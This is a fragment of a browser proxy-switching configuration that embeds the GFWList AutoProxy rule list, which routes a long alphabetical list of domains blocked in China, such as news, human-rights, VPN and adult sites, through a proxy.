||klsio.gov.tw\\n@@||nici.nat.gov.tw\\n@@||cromotc.nat.gov.tw\\n@@||taitung-house.gov.tw\\n\\n!-----IP-----\\n174.142.105.153\\n69.65.19.160\\n\\n!-----Whitelist-----\\n@@||aliyun.com\\n@@||baidu.com\\n!--@@||bing.com\\n@@||bt.byr.cn\\n@@||chinaso.com\\n@@||dl.google.com\\n@@||fonts.googleapis.com\\n@@||csi.gstatic.com\\n@@||fonts.gstatic.com\\n@@||haosou.com\\n@@||forum1.hkgolden.com \\n@@||forum6.hkgolden.com \\n@@||forum9.hkgolden.com \\n@@||articlehtml.hkgolden.com\\n@@||jike.com\\n@@|http://translate.google.cn\\n@@|http://www.google.cn/maps\\n@@||http2.golang.org\\n@@||bt.neu6.edu.cn\\n@@||qq.com\\n@@||sina.cn\\n@@||sina.com.cn\\n@@||sogou.com\\n@@||so.com\\n@@||soso.com\\n@@||yahoo.cn\\n@@||youdao.com\\n@@||zhongsou.com\\n@@|https://autoproxy.org\\n@@|http://ime.baidu.jp\\n!----------------EOF----------------\\n\",\"sourceUrl\":\"https://raw.githubusercontent.com/gfwlist/gfwlist/master/gfwlist.txt\"},\"+__ruleListOf_自动切换 XXNET\":{\"color\":\"#dd6633\",\"defaultProfileName\":\"direct\",\"format\":\"AutoProxy\",\"lastUpdate\":\"2015-12-30T10:47:22.719Z\",\"matchProfileName\":\"XXNET for GAE\",\"name\":\"__ruleListOf_自动切换 XXNET\",\"profileType\":\"RuleListProfile\",\"revision\":\"14fa10b1d6b\",\"ruleList\":\"[AutoProxy 0.2.9]\\n! Checksum: 7Kef/ZbUsMfIQnK3rDwrSg\\n! Expires: 6h\\n! Last Modified: Sun, 20 Dec 2015 11:16:12 +0800\\n! HomePage: https://github.com/gfwlist/gfwlist\\n\\n!---------------------Fraud/Scam-------------------\\nchina-mmm.jp.net\\n.china-mmm.net\\n||china-mmm.net\\n.lsxszzg.com\\n\\n!---------------Non-Latin characters---------------\\n\\n!------------Restricted & URL Redirects------------\\n!--ehentai\\n|http://85.17.73.31/\\n\\n||alien-ufos.com\\n||altrec.com\\n||asianspiss.com\\n||azubu.tv\\n||beeg.com\\n||boysmaster.com\\n||darpa.mil\\n||desipro.de\\n|http://img.dlsite.jp/\\n||dmm.co.jp\\n!--||dmm.com\\n||fastpic.ru\\n||flipboard.com\\n||fxnetworks.com\\n||getuploader.com\\nhulu.com\\nhuluim.com\\n||hybrid-analysis.com\\n|http://www.ilovelongtoes.com/\\n||juliepost.com\\n|http://www.m-sport.co.uk\\n||macgamestore.com\\n||metarthunter.com\\n||mfxmedia.com\\n||muzu.tv\\n|http://www.nbc.com/live\\n||netflix.com\\n||nuuvem.com\\n||osaka69.com\\n||pandora.com\\n.pandora.tv\\n|http://www.parkansky.com\\n|http://*.pimg.tw/\\n||pure18.com\\n||qq.co.za\\n|http://radiko.jp\\n||rd.com\\n||rdio.com\\n|http://cdn*.search.xxx/\\n||slacker.com\\n||spotify.com\\n||springboardplatform.com\\n||switch1.jp\\n||target.com\\n||turntable.fm\\n||twerkingbutt.com\\n||vevo.com\\n|http://ecsm.vs.com/\\n||wheretowatch.com\\n||wingamestore.com\\n||zattoo.com\\n||zozotown.com\\n\\n!--------------------Num--------------------\\n.0rz.tw\\n|http://0rz.tw\\n||0to255.com\\n1-apple.com.tw\\n||1-apple.com.tw\\n.1000giri.net\\n||1000giri.net\\n.10conditionsoflove.com\\n||10musume.com\\n123rf.com\\n.12bet.com\\n||12bet.com\\n.12vpn.com\\n||12vpn.com\\n141hongkong.com/forum\\n.17t17p.com\\n.173ng.com\\n||173ng.com\\n1984bbs.com\\n||1984bbs.com\\n!--||1984blog.com\\n.1984bbs.org\\n||1984bbs.org\\n.1998cdp.org\\n.1bao.org\\n|http://1bao.org\\n||1pondo.tv\\n.1eew.com\\n.2-hand.info\\n.2000fun.com/bbs\\n.2008xianzhang.info\\n||2008xianzhang.info\\n.213.so\\n21andy.com/blog\\n.228.net.tw\\n24smile.org\\n.2shared.com\\n.315lz.com\\n||32red.com\\n||36rain.com\\n.3a5a.com\\n.3boys2girls.com\\n.3tui.net\\n||4bluestones.biz\\n||4chan.org\\n||4shared.com\\n5i01.com\\ntaiwannation.50webs.com\\n||51.ca\\n.5isotoi5.org\\n.5maodang.com\\n64memo\\n.64museum.org\\n64tianwang.com\\n64wiki.com\\n666kb.com\\n6park.com\\n||6park.com\\n||7capture.com\\n|http://85st.com\\n.881903.com/page/zh-tw/\\n.888.com\\n||881903.com\\n89-64.org\\n||89-64.org\\n.8z1.net\\n||8z1.net\\n.9001700.com\\n|http://908taiwan.org/\\n|http://91porn.com\\n.92ccav.com\\n||9bis.com\\n||9bis.net\\n.99btgc01.com\\n||99btgc01.com\\n\\n!--------------------AA--------------------\\n.tibet.a.se\\n|http://tibet.a.se\\n||a-normal-day.com\\na5.com.ru\\n|http://aamacau.com\\n|http://cdn*.abc.com/\\n.ablwang.com\\n.aboluowang.com\\n||aboluowang.com\\n.aboutgfw.com\\n||acgkj.com\\nactimes.com.au\\n||aculo.us\\n||addictedtocoffee.de\\nadultfriendfinder.com\\nadultkeep.net/peepshow/members/main.htm\\n||advanscene.com\\n||advertfan.com\\n||aenhancers.com\\n||af.mil\\naiph.net\\n||aiph.net\\n|http://download.aircrack-ng.org\\n.aisex.com\\n||ait.org.tw\\naiweiwei.com\\n.aiweiweiblog.com\\n||aiweiweiblog.com\\n||www.ajsands.com\\n\\n!---------Akamaihd---------\\n|https://fbcdn*.akamaihd.net/\\n\\n||akiba-online.com\\n||al-qimmah.net\\n||alabout.com\\n||alasbarricadas.org\\nalexlur.org\\naliengu.com\\n||alkasir.com\\nallgirlsallowed.org\\nalliance.org.hk\\n.allinfa.com\\n|http://allinfa.com\\n||allmovie.com\\n||alternate-tools.com\\nalvinalexander.com\\nalwaysdata.com\\n||alwaysdata.com\\n||alwaysdata.net\\n||am730.com.hk\\namazon.com/Prisoner-State-Secret-Journal-Premier\\nameblo.jp\\n||ameblo.jp\\n||americangreencard.com\\n||amiblockedornot.com\\n.amnesty.org\\n||amnesty.org\\n.amnestyusa.org\\n||amnestyusa.org\\n.amnyemachen.org\\n.amoiist.com\\nanalyze-v.com\\n||anchorfree.com\\n!--Google\\n||ancsconf.org\\n||andfaraway.net\\n||android.com\\n||android-x86.org\\n||angularjs.org\\nanimecrazy.net\\naniscartujo.com\\n||aniscartujo.com\\n||anobii.com\\n.anonymizer.com\\nanontext.com\\n.answering-islam.org\\n|http://www.antd.org\\n||anthonycalzadilla.com\\n.antiwave.net\\n|http://antiwave.net\\n||aobo.com.au\\n||aolchannels.aol.com\\nvideo.aol.ca/video-detail\\nvideo.aol.co.uk/video-detail\\nvideo.aol.com\\n||video.aol.com\\n||search.aol.com\\nwww.aolnews.com\\n||aomiwang.com\\nvideo.ap.org\\n.apetube.com\\n||apiary.io\\n.apigee.com\\n||apigee.com\\n||appannie.com\\nappledaily.com\\narchive.is\\n||archive.org\\n.arctosia.com\\n|http://arctosia.com\\n||areca-backup.org\\n||arlingtoncemetery.mil\\n||army.mil\\nartsy.net\\n.asahichinese.com\\n||asahichinese.com\\nasdfg.jp/dabr\\n|http://japanfirst.asianfreeforum.com/\\n.asiaharvest.org\\n||asiaharvest.org\\nasianews.it\\n||asianwomensfilm.de\\n||askstudent.com\\n.askynz.net\\n||askynz.net\\n||assembla.com\\n||astonmartinnews.com\\n||astrill.com\\n||atc.org.au\\n.atchinese.com\\n|http://atchinese.com\\natgfw.org\\n||atj.org.tw\\n.atlaspost.com\\n||atlaspost.com\\n||atdmt.com\\n.atnext.com\\n||atnext.com\\navaaz.org\\n||avaaz.org\\n!--||avast.com\\n.avdb.in\\n||avdb.in\\n.avdb.tv\\n||avdb.tv\\n||avidemux.org\\n||avoision.com\\n||axureformac.com\\n\\n!--------------------BB--------------------\\nforum.baby-kingdom.com\\nbabynet.com.hk\\nbackchina.com\\n||backchina.com\\n.backpackers.com.tw/forum\\nbacktotiananmen.com\\nbadoo.com\\n|http://*2.bahamut.com.tw\\n||baidu.jp\\n||baixing.me\\nhen.bao.li\\n||bannedbook.org\\nbannedbook.org\\n||bannedbook.org\\n.barenakedislam.com\\n||barnabu.co.uk\\nbayvoice.net\\n||bayvoice.net\\ndajusha.baywords.com\\n.bbc.co.uk*chinese\\n.bbc.co.uk/tv\\n.bbc.co*zhongwen\\nnews.bbc.co.uk/onthisday*newsid_2496000/2496277\\nnewsforums.bbc.co.uk\\n.bbcchinese.com\\n||bbcchinese.com\\n|http://bbc.in\\n.bbg.gov\\n||bbsfeed.com\\nbbsland.com\\n.bbsone.com\\n.bcc.com.tw/board\\n.bcchinese.net\\n.bebo.com\\n||bebo.com\\n.behindkink.com\\n||beijing1989.com\\nbeijingspring.com\\n||beijingspring.com\\n.berlintwitterwall.com\\n||berlintwitterwall.com\\n.bestforchina.org\\n||bestforchina.org\\n||bestvpn.com\\n.bestvpnservice.com\\n.bestvpnusa.com\\n||bet365.com\\n.betfair.com\\n.bettween.com\\n||bettween.com\\n||betvictor.com\\n.bewww.net\\n.beyondfirewall.com\\n||bfnn.org\\n||bfsh.hk/\\nbiantailajiao.com\\nbiantailajiao.in\\n.biblesforamerica.org\\n|http://biblesforamerica.org\\n.bic2011.org\\nbigfools.com\\n.bignews.org\\n||bignews.org\\n.bigsound.org/portnoy\\n|http://billypan.com/wiki\\n||billywr.com\\nbipic.net\\n.bit.ly\\n|http://bit.ly\\n!--||bitbucket.org\\n||bitcointalk.org\\n.bitshare.com\\n||bitshare.com\\n!-|http://bitsnoop.com\\nbjzc.org\\n||bjzc.org/\\ntor.blingblingsquad.net\\n.blinkx.com\\n||blinkx.com\\nblinw.com\\n.blip.tv\\n||blip.tv/\\n.blockcn.com\\n||blockcn.com\\n||blog.de\\n||blogblog.com\\n.blogcatalog.com\\n||blogcatalog.com\\n||blogcity.me\\n.blogger.com\\n||blogger.com\\nblogimg.jp\\n||blog.kangye.org\\n.bloglines.com\\n||bloglines.com\\n||bloglovin.com\\nrconversation.blogs.com\\n/^https?:\\\\/\\\\/[^\\\\/]+blogspot\\\\.(.*)/\\nblogtd.net\\n.blogtd.org\\n|http://blogtd.org\\n||bloodshed.net\\n.bloomberg.cn\\n||bloomberg.cn\\n.bloomberg.com\\n||bloomberg.com\\nbloomberg.de\\n||bloomberg.de\\n||bloomfortune.com\\n||bnrmetal.com\\nboardreader.com/thread\\n||boardreader.com\\n.bod.asia\\n|http://bod.asia\\nbonbonme.com\\n||boobstagram.com\\n||book.com.tw\\n||books.com.tw\\n||botanwang.com\\n.bot.nu\\n.bowenpress.com\\n||bowenpress.com\\n||app.box.com\\ndl.box.net\\n||dl.box.net\\nboxun.com\\n||boxun.com\\n.boxun.tv\\n||boxun.tv\\nboxunblog.com\\n||boxunblog.com\\n.boxunclub.com\\n.boyfriendtv.com\\n||br.st\\n||brandonhutchinson.com\\n||braumeister.org\\n.bravotube.net\\n||bravotube.net\\n.brazzers.com\\n.break.com\\n||break.com\\n.breakingtweets.com\\n||breakingtweets.com\\n||breakwall.net\\nbriian.com/6511/freegate\\n.briefdream.com/%E7%B4%A0%E6%A3%BA\\nbrizzly.com\\n||brizzly.com\\nbroadbook.com\\n.broadpressinc.com\\nbrucewang.net\\n||bt95.com\\n|http://btdigg.org\\n.btspread.com\\n.budaedu.org\\n||budaedu.org\\n.bullog.org\\n||bullog.org\\n.bullogger.com\\n||bullogger.com\\n|http://www.businessinsider.com.au/*\\n|http://static*.businessinsider.com/\\n.businessweek.com\\n!--businesstimes\\n!-.businesstimes.com.cn\\n!-|http://businesstimes.com.cn\\n||bugclub.org\\n||buugaa.com\\n.buzzhand.com\\n.buzzhand.net\\nbuzzurl.jp\\nbwsj.hk\\n||bx.tl\\nholz.byethost8.com\\n\\n!--------------------CC--------------------\\n.c-spanvideo.org\\n||c-spanvideo.org\\n||c-est-simple.com\\n.cacnw.com\\n.cactusvpn.com\\n||cactusvpn.com\\n.cafepress.com\\n.cahr.org.tw\\n.calameo.com/books\\ncn.calameo.com\\n|http://cn.calameo.com\\n.its.caltech.edu/~falun/\\n.cam4.com\\n.cam4.jp\\n.cam4.sg\\n||cams.com\\n.cams.org.sg\\ncanadameet.com\\n|http://bbs.cantonese.asia/\\n!--http://www.cantonese.asia/action-bbs.html\\n.canyu.org\\n.cao.im\\n.caobian.info\\n||caobian.info\\n.cap.org.hk\\n||cap.org.hk\\ncardinalkungfoundation.org\\n.casatibet.org.mx\\ncaochangqing.com\\n||caochangqing.com\\ncari.com.my\\n||catch22.net\\n||catfightpayperview.xxx\\n.catholic.org.hk\\n||catholic.org.hk\\ncatholic.org.tw\\n||catholic.org.tw\\n||cattt.com\\n||cbc.ca\\n.cbsnews.com/video\\n.cbtc.org.hk\\n!-.ccc.de\\n!-||ccc.de\\n.ccdtr.org\\n||ccdtr.org\\n.ccim.org\\ncclife.org\\n.ccthere.com\\n.cctongbao.com/article/2078732\\nccue.ca\\nccue.com\\n.cgdepot.org\\n|http://cgdepot.org\\n||cdbook.org\\n||cdd.me\\n.cdef.org\\n||cdig.info\\ncdjp.org\\n||cdjp.org/\\n||cdninstagram.com\\n.cdnews.com.tw\\ncdp1989.org\\ncdp1998.org\\n||cdp1998.org\\ncdp2006.org\\n||cdp2006.org\\n.cdpa.url.tw\\ncdpeu.org\\ncdpusa.org\\ncdpweb.org\\n||cdpweb.org\\ncdpwu.org\\n||cdpwu.org\\n||cdw.com\\n.cecc.gov\\n||cecc.gov\\n||cellulo.info\\n||cenci.tk\\n||cenews.eu\\n||centralnation.com\\n.centurys.net\\n|http://centurys.net\\n.cfhks.org.hk\\n.cftfc.com\\n.cgst.edu\\n||chandoo.org\\n.change.org\\n|http://change.org\\n.changp.com\\n||changp.com\\n.chapm25.com\\n.chaturbate.com\\nchengmingmag.com\\n.chenguangcheng.com\\n||chenguangcheng.com\\nchenpokong.com\\n||cherrysave.com\\n.chhongbi.org\\n|http://chicagoncmtv.com\\n.china-week.com\\nchina101.com\\n||china101.com\\n||china18.org\\n||china21.com\\nchina21.org\\n||china21.org\\n.china5000.us\\nchinaaffairs.org\\n||chinaaffairs.org\\n||chinaaid.me\\nchinaaid.us\\nchinaaid.org\\nchinaaid.net\\nchinacomments.org\\n||chinacomments.org\\nchinachange.org\\nchinachannel.hk\\n||chinachannel.hk\\n.chinadigitaltimes.net\\n||chinadigitaltimes.net\\n.chinaelections.org\\n||chinaelections.org\\n.chinaeweekly.com\\n||chinaeweekly.com\\n||chinafreepress.org\\n.chinagate.com\\nchinageeks.org\\nchinagfw.org\\n||chinagfw.org\\n.chinagreenparty.org\\n||chinagreenparty.org\\n.chinahorizon.org\\n||chinahorizon.org\\n.chinahush.com\\nchinalaborwatch.org\\nchinalawtranslate.com\\nchinaxchina.com/howto\\n.chinainperspective.com\\nchinainperspective.net/ArtShow.aspx?\\n||chinainperspective.net\\n.chinainperspective.org\\n||chinainperspective.org\\n||chinainterimgov.org\\nchinalawandpolicy.com\\n.chinamule.com\\n||chinamule.com\\nchinamz.org\\n.chinarightsia.org\\nchinasocialdemocraticparty.com\\n||chinasocialdemocraticparty.com\\nchinasoul.org\\n||chinasoul.org\\n.chinasucks.net\\nchinatimes.com\\n||chinatopsex.com\\nchinatweeps.com\\nchinaway.org\\n.chinaworker.info\\n||chinaworker.info\\nchinayouth.org.hk\\nchinayuanmin.org\\n||chinayuanmin.org\\n.chinese-hermit.net\\nchinese-memorial.org\\n||chinesedailynews.com\\n.chinesen.de\\n||chinesen.de\\n.chinesepen.org\\n.chinesetalks.net/ch\\n.chingcheong.com\\n||chingcheong.com\\nchithu.org\\nchn.chosun.com\\n.chrdnet.com\\n|http://chrdnet.com\\nchristianstudy.com\\n||christianstudy.com\\nchristusrex.org/www1/sdc\\n||chrlcg-hk.org\\n||chrome.com\\n||chromeadblock.com\\n||chromium.org\\nchubun.com\\nchuizi.net\\n||christiantimes.org.hk\\n.chrlawyers.hk\\n!--||allaboutalpha.com\\n||circlethebayfortibet.org\\n||citizenscommission.hk\\n.citizenlab.org\\ncitizensradio.org\\n.city365.ca\\n|http://city365.ca\\ncity9x.com\\n.civicparty.hk\\n||civicparty.hk\\ncivilhrfront.org\\n||civilhrfront.org\\n.civilmedia.tw\\npsiphon.civisec.org\\n!--||cjb.net\\n.ck101.com\\n||ck101.com\\n.clarionproject.org/news/islamic-state-isis-isil-propaganda\\n||classicalguitarblog.net\\n.clb.org.hk\\nclearharmony.net\\nclearwisdom.net\\n.clipfish.de\\n||club1069.com\\ncmi.org.tw\\n|http://www.cmoinc.org\\n||cmule.com\\n||cmule.org\\n||cms.gov\\n||cna.com.tw\\n.cnavista.com.tw/shop/stores_app\\n.cnd.org\\n||cnd.org/\\nwiki.cnitter.com\\n.cnn.com/video\\nnews.cnyes.com\\n||cochina.co\\n||cochina.org\\n.code1984.com/64\\n|http://goagent.codeplex.com\\n||codeshare.io\\n||codeskulptor.org\\n|http://tosh.comedycentral.com\\ncomefromchina.com\\n||comefromchina.com\\n||commentshk.com\\n||compileheart.com\\n||conoyo.com\\n.contactmagazine.net\\n.convio.net\\n.coobay.com\\n|http://www.cool18.com/bbs*/\\n.coolaler.com\\n||coolaler.com\\ncoolder.com\\n||coolder.com\\n||coolloud.org.tw\\ncorumcollege.com\\n||couchdbwiki.com\\n||cotweet.com\\ncpj.org\\n||cpj.org/\\ncrackle.com\\n||crackle.com\\n||crchina.org\\ncrd-net.org\\ncreaders.net\\n||creaders.net\\n.crossthewall.net\\n||crossthewall.net\\ncsdparty.com\\n||csdparty.com\\n||csuchen.de\\n.ctfriend.net\\n.ctitv.com.tw\\ncts.com.tw\\n|http://library.usc.cuhk.edu.hk/\\n|http://mjlsh.usc.cuhk.edu.hk/\\n.cuhkacs.org/~benng\\n.cuihua.org\\n||cuihua.org\\n.cuiweiping.net\\n||cuiweiping.net\\n||curvefish.com\\n.culture.tw\\n||culture.tw\\n.cw.com.tw\\n|http://forum.cyberctm.com\\n||cyberghostvpn.com\\n||cynscribe.com\\ncytode.us\\n||ifan.cz.cc\\n||mike.cz.cc\\n||nic.cz.cc\\n\\n!--------------------DD--------------------\\ncl.d0z.net\\n.dabr.co.uk\\n||dabr.co.uk\\ndabr.mobi\\n||dabr.mobi\\n||dabr.me\\ndadazim.com\\n||dadazim.com\\n.dadi360.com\\ndafagood.com\\ndafahao.com\\n||dalailama.ru\\n.dalailamavisit.org.nz\\n.dailidaili.com\\n||dailidaili.com\\n.dailymotion.com\\n.dajiyuan.com\\n.dajiyuan.eu\\ndalailama.com\\n.dalailamaprotesters.info\\n.dalailamaworld.com\\n||dalailamaworld.com\\ndalianmeng.org\\n||dalianmeng.org\\n.daliulian.org\\n||daliulian.org\\n.danke4china.net\\n||danke4china.net\\n.danwei.org\\ndaolan.net\\n.david-kilgour.com\\n|http://david-kilgour.com\\ndaxa.cn\\n||daxa.cn/\\ncn.dayabook.com\\n.daylife.com/topic/dalai_lama\\n||dcard.tw\\n.ddc.com.tw\\n||de-sci.org\\n.de-sci.org\\nlists.debian.org\\npackages.debian.org/zh-cn/lenny/gpass\\n||delcamp.net\\ndelicious.com/GFWbookmark\\n.democrats.org\\n||democrats.org\\n||desc.se/\\n.destroy-china.jp\\n||deutsche-welle.de\\n!--||deviantart.com\\n!--||deviantart.net\\n||devio.us\\n||devpn.com\\n|http://www.dfanning.com\\n||dfas.mil\\n.dharamsalanet.com\\n.diaoyuislands.org\\n||diaoyuislands.org\\nstatic.digg.com\\n|http://digiland.tw/\\n||digitalnomadsproject.org\\n.diigo.com\\n||diigo.com\\n||furl.net\\n.dipity.com\\n||directcreative.com\\n||discogs.com\\n@@||cdn.discogs.com\\n\\n.discuss.com.hk\\n||discuss.com.hk\\ndisp.cc\\n.dit-inc.us\\n||dit-inc.us\\n.dizhidizhi.com\\n||dizhuzhishang.com\\ndjangosnippets.org\\n||dl-laby.jp\\n||dlsite.com\\n||dmcdn.net\\n||dnscrypt.org\\n||dns2go.com\\n||dnssec.net\\n.dogfartnetwork.com/tour\\n.dojin.com\\n.dok-forum.net\\n||dolc.de\\n||dolf.org.hk\\n||dollf.com\\n.domain.club.tw\\ndongtaiwang.com\\n||dongtaiwang.com\\n.dongtaiwang.net\\n||dongtaiwang.net\\n.dongyangjing.com\\n.dontfilter.us\\n||dontmovetochina.com\\n.dotplane.com\\n||dotplane.com\\n||dotsub.com\\n||dougscripts.com\\ndowei.org\\n||doxygen.org\\ndphk.org\\ndpp.org.tw\\n||dpp.org.tw\\n||dreammask.org\\n.drepung.org\\n||drgan.net\\n||dropbox.com\\n||dropboxusercontent.com\\ndrsunacademy.com\\n.drtuber.com\\n.dscn.info\\n||dtiblog.com\\n||dtic.mil\\ndtiserv2.com\\n||duckduckgo.com\\n.duckload.com/download\\n||duckmylife.com\\n.duihua.org\\n||duihua.org\\n||duihuahrjournal.org\\n.duoweitimes.com\\n||duoweitimes.com\\nduping.net\\n||duplicati.com\\ndupola.com\\ndupola.net\\n||dvorak.org\\n.dw.com\\n|http://www.dw.com\\n||dw.de\\n.dw-world.com\\n||dw-world.com\\n.dw-world.de\\nhttp://dw-world.de\\nwww.dwheeler.com\\ndwnews.com\\n||dwnews.com\\ndwnews.net\\n||dwnews.net\\nxys.dxiong.com\\n||dynawebinc.com\\n.dyndns.org\\n.dzze.com\\n\\n!--------------------EE--------------------\\n||e-classical.com.tw\\n||e-gold.com\\n.e-gold.com\\n||g.e-hentai.org\\n||lofi.e-hentai.org\\ne-info.org.tw\\n.e-traderland.net/board\\n.e123.hk\\n||earthcam.com\\neastern-ark.com\\n.eastturkestan.com\\n|http://www.eastturkistan.net/\\n.eastturkistan-gov.org\\n.eastturkistangovernmentinexile.us\\n||eastturkistangovernmentinexile.us\\nebookbrowse.com\\nebookee.com\\necministry.net\\nbbs.ecstart.com\\n||edgecastcdn.net\\n/twimg\\\\.edgesuite\\\\.net\\\\/\\\\/?appledaily/\\nedicypages.com\\nedoors.com\\n.edubridge.com\\n||edubridge.com\\n||eevpn.com\\nefcc.org.hk\\n||efmoe.com\\n||eic-av.com\\nelectionsmeter.com\\n||elgoog.im\\n||elpais.com\\n.eltondisney.com\\n||emacsblog.org\\n.emory.edu\\n.emule-ed2k.com\\n|http://emule-ed2k.com\\n.emuparadise.me\\n||enewstree.com\\nchinese.engadget.com\\n||englishfromengland.co.uk\\n||entermap.com\\n.episcopalchurch.org\\nepochtimes-bg.com\\n||epochtimes-bg.com\\nepochtimes-romania.com\\n||epochtimes-romania.com\\nepochtimes.co.il\\n||epochtimes.co.il\\nepochtimes.co.kr\\n||epochtimes.co.kr\\nepochtimes.com\\n||epochtimes.com\\nepochtimes.de\\nepochtimes.fr\\n.epochtimes.ie\\nepochtimes.jp\\nepochtimes.ru\\nepochtimes.se\\nepochtimestr.com\\n||epochweekly.com\\nerabaru.net\\n.erepublik.com\\n|http://erktv.com/\\n||ernestmandel.org\\n||erights.net\\n.etaa.org.au\\netaiwannews.com\\n||etizer.org\\n.ettoday.net\\netvonline.hk\\n.eu.org\\n||eu.org\\n.eulam.com\\neventful.com\\n||exblog.jp\\n||blog.exblog.co.jp\\n@@||www.exblog.jp\\n.exchristian.hk\\n||exchristian.hk\\n|http://blog.excite.co.jp/\\n||expatshield.com\\n||exploader.net\\n.expressvpn.com\\n.extremetube.com\\neyevio.jp\\n||eyevio.jp\\n.eyny.com\\n.ezpc.tk/category/soft\\n.ezpeer.com\\n\\n!--------------------FF--------------------\\n.facebook.com\\n||facebook.com\\n/^https?:\\\\/\\\\/[^\\\\/]+facebook\\\\.com/\\n@@||*v6.facebook.com\\n||connect.facebook.net\\n||facebookquotes4u.com\\n|http://facesoftibetanselfimmolators.info\\n||facesofnyfw.com\\n\\n!--Enhancement:\\n!--http://faithfuleye.com.detail.website/\\n!--http://faithfuleye.com.ipaddress.com/\\n.faithfuleye.com\\n\\n||faiththedog.info\\n.fakku.net\\nfalun-co.org\\nfalunart.org\\n||falunasia.info\\nfalundafa.org\\nfalundafa-dc.org\\n||falundafa-florida.org\\n||falundafa-nc.org\\nfalun-ny.net\\nfalundafamuseum.org\\nfalungong.org.uk\\n||falunhr.org\\nfaluninfo.net\\n.falunpilipinas.net\\n||falunworld.net\\nfamilyfed.org\\n||fanglizhi.info\\n||fangong.org\\nfangongheike.com\\nfanqianghou.com\\nfapdu.com\\n!--.farxian.com\\n.fawanghuihui.org\\n||fbcdn.net\\nfanqiangyakexi.net\\nfail.hk\\n||famunion.com\\n.fan-qiang.com\\n.fangbinxing.com\\n||fangbinxing.com\\nfangeming.com\\n||fanswong.com\\n.fanyue.info\\n.farwestchina.com\\n!--||fastly.net\\nen.favotter.net\\n||faststone.org\\nfavstar.fm\\n||favstar.fm\\nfaydao.com/weblog\\n||fb.com\\nfb.me\\n||fb.me\\n||fbsbx.com\\nfc2.com\\n.fc2china.com\\nfc2blog.net\\n|http://uygur.fc2web.com/\\nvideo.fdbox.com\\n.fdc89.jp\\n||fourface.nodesnoop.com\\n!--feedbooks.mobi\\n||feedburner.com\\n||feedzshare.com\\n||feelssh.com\\nfeer.com\\n|http://feitianacademy.org\\n.feitian-california.org\\n||feministteacher.com\\n.fengzhenghu.com\\n||fengzhenghu.com\\n|http://ff.im\\nfflick.com\\nfgmtv.net\\n.fgmtv.org\\n|http://feeds.fileforum.com\\n.files2me.com\\n|http://files2me.com\\n.fileserve.com/file\\nfillthesquare.org\\n||finalion.jp\\nfindbook.tw\\n.fingerdaily.com\\nfinler.net\\n.fireofliberty.org\\n||fireofliberty.org\\n!--||flagfox.net\\n.falsefire.com\\n||falsefire.com\\nfleshbot.com\\n\\n!--||farm6.staticflickr.com\\n!--.flickr.com/photos/46231077@N06\\n!--.flickr.com/groups/aiweiwei\\n!--.flickr.com/photos/digitalboy100\\n!--.flickr.com/photos/fzhenghu\\n!--.flickr.com/photos/lonelyfox\\n!--flickr.com/photos/vanvan/529925157\\n!--.flickr.com/photos/winterkanal\\n!--.flickr.com/photos/zola\\n||flickr.com\\n||staticflickr.com\\n\\nflickrhivemind.net\\nyuming.flnet.org\\n|http://cn.fmnnow.com\\nfofldfradio.org\\nblog.foolsmountain.com\\nwww.forum4hk.com\\npioneer-worker.forums-free.com\\n!--foursquare.com\\n|http://4sq.com\\n||fotop.net\\nvideo.foxbusiness.com\\n|http://foxgay.com\\n||fringenetwork.com\\n||flecheinthepeche.fr\\n||focustaiwan.tw\\n.focusvpn.com\\n||fofg.org\\n.fooooo.com\\n||fooooo.com\\nfootwiball.com\\n||fourthinternational.org\\n||foxdie.us\\n||foxsub.com\\nfoxtang.com\\n.fpmt.org\\n|http://fpmt.org\\n.fpmt.tw\\n.fpmt-osel.org\\n||fpmtmexico.org\\nfqok.org\\n||fqrouter.com\\n||franklc.com\\n.freakshare.com\\n|http://freakshare.com\\n||free4u.com.ar\\nfree-gate.org\\n.free.fr/adsl\\n||allonlinux.free.fr\\n||dimitrik.free.fr\\nkineox.free.fr\\n||puttycm.free.fr\\n||freealim.com\\nwhitebear.freebearblog.org\\n.freechal.com\\n.freedomhouse.org\\n||freedomhouse.org\\n.freegao.com\\n||freegao.com\\n.free-hada-now.org\\n.freelotto.com\\n||freelotto.com\\nfreeman2.com\\n.freeopenvpn.com\\nfreemoren.com\\nfreemorenews.com\\nfreenet-china.org\\nfreenewscn.com\\n.freeoz.org/bbs\\n||freeoz.org\\n||www.bulbous.freeserve.co.uk\\n||freessh.us\\nfree4u.com.ar\\n.free-ssh.com\\n||free-ssh.com\\n.freedomcollection.org/interviews/rebiya_kadeer\\n.freeforums.org\\n||freenetproject.org\\n.freeoz.org\\n.freetibet.net\\n||freetibet.org\\n|http://freetibetanheroes.org\\n||freewallpaper4.me\\n.freewebs.com\\n||freeweibo.com\\n.freexinwen.com\\n.freeyoutubeproxy.net\\n||freeyoutubeproxy.net\\nfriendfeed.com\\nfriendfeed-media.com/e99a4ebe2fb4c1985c2a58775eb4422961aa5a2e\\nfriends-of-tibet.org\\n.friendsoftibet.org\\nfreechina.net\\n|http://www.zensur.freerk.com/\\nfreevpn.nl\\n|http://adult.friendfinder.com/\\n.fring.com\\n||fring.com\\n||frommel.net\\n.frontlinedefenders.org\\n||fscked.org\\n.fsurf.com\\n.ftchinese.com/story/001054103\\n.ftchinese.com/*video\\n.ftchinese.com/comments\\n.fuckcnnic.net\\n||fuckcnnic.net\\nfuckgfw.org\\nfulue.com\\n.funf.tw\\nfunp.com\\n.furhhdl.org\\n||furinkan.com\\n.futurechinaforum.org\\n||futuremessage.org\\n.fuyin.net\\n||fw.cm\\nfzh999.com\\nfzh999.net\\n\\n!--------------------GG--------------------\\n||gabocorp.com\\n.gaeproxy.com\\n.gaforum.org\\n||galenwu.com\\n||game735.com\\ngamebase.com.tw\\n|http://wiki.gamerp.jp\\n||gamer.com.tw\\n.gamer.com.tw\\n.gamez.com.tw\\n||gamez.com.tw\\n.gaoming.net\\n||gaoming.net\\nganges.com\\n.gaopi.net\\n|http://gaopi.net\\n.gaozhisheng.org\\n.gaozhisheng.net\\ngardennetworks.com\\n||gardennetworks.org\\n!--IP of Garden 